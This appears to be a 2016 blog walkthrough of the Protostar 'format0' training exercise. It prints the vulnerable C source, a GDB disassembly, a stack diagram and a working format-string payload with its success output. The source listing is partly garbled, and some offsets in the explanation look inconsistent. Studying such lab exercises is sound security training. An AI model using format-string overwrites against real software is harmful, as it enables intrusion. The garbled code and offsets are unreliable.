Protostar Exploit Exercise - format0

October 10 2016

This is the first format strings exercise on the protostar exploit VM.

Opening the VM over ssh (because the VM terminal sucks) and starting /bin/bash (because /bin/sh/ sucks) we then open the source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");

int main(int argc, char **argv)

So we can see that vuln() is called, and that a string is read (without bounds checking) into buffer. It is obvious here we need to buffer overflow from buffer into the target variable. You can see that the target variable is defined above the buffer variable, which means that
the buffer variable will be higher on the stack than the variable we need to overflow into.

Now boot this up in GDB to have a look.

(gdb) disassemble vuln
Dump of assembler code for function vuln:
0x080483f4 <vuln+0>:    push   ebp
0x080483f5 <vuln+1>:    mov    ebp,esp
0x080483f7 <vuln+3>:    sub    esp,0x68
0x080483fa <vuln+6>:    mov    DWORD PTR [ebp-0xc],0x0
0x08048401 <vuln+13>:   mov    eax,DWORD PTR [ebp+0x8]
0x08048404 <vuln+16>:   mov    DWORD PTR [esp+0x4],eax
0x08048408 <vuln+20>:   lea    eax,[ebp-0x4c]
0x0804840b <vuln+23>:   mov    DWORD PTR [esp],eax
0x0804840e <vuln+26>:   call   0x8048300 <[email protected]>
0x08048413 <vuln+31>:   mov    eax,DWORD PTR [ebp-0xc]
0x08048416 <vuln+34>:   cmp    eax,0xdeadbeef
0x0804841b <vuln+39>:   jne    0x8048429 <vuln+53>
0x0804841d <vuln+41>:   mov    DWORD PTR [esp],0x8048510
0x08048424 <vuln+48>:   call   0x8048330 <[email protected]>
0x08048429 <vuln+53>:   leave  
0x0804842a <vuln+54>:   ret   
End of assembler dump.

We can see here the usual routine - storing the old frame pointer then updating it for the current frame.

The program then makes room for 104 bytes on the stack for the local variables (64 bytes for the buffer and 4 bytes for the integer) aswell as whatever else the program needs. <vuln+6> shows 0x0 being loaded into ebp-0xc, this must be target. Therefore there are two bytes between ebp and target on the stack.

SP->      -------------------------
(SP-64)-> -------------------------
(SP-68)-> -------------------------
          not needed     
(SP-76)-> -------------------------
          last frame pointer (fp)
(SP-80)-> -------------------------
          return address
(SP-84)-> -------------------------
          'string' pointer

<vuln+13> grabs the address of the string argument and stores it into eax. Then this address is stored 4 bytes down from where the stack pointer is pointing - presumably as an argument to sprintf. A pointer to 76 bytes up from ebp is stored in eax, and then this is stored in to where the stack pointer is pointing. 76 bytes up from ebp is (8(who cares) + 4(target) + 64(buffer)) therefore it is a pointer to buffer. Now the arguments are on the top of the stack in perfect order in order to call sprintf (reverse order). Line <vuln+31> shows us that target is stored in ebp-0xc, so 12 bytes up from ebp, because a comparison is undertaken to check if it is the right value.

Hence what we need to do here to overwrite target is smash the stack with 64 bytes and then 0xdeadbeef. However, since this is a format strings challenge we must use some format exploitation! Instead of filling the buffer with Junk, we can input a simple %64x before 0xdeadbeef which will take the next byte from the stack and extend it to a width of 64, thus filling the buffer!

Therefore the final command is:

[email protected]:/opt/protostar/bin# ./format0 $(python -c "print '%64x\xef\xbe\xad\xde' ")                                                                                                                                                                                                 
you have hit the target correctly :)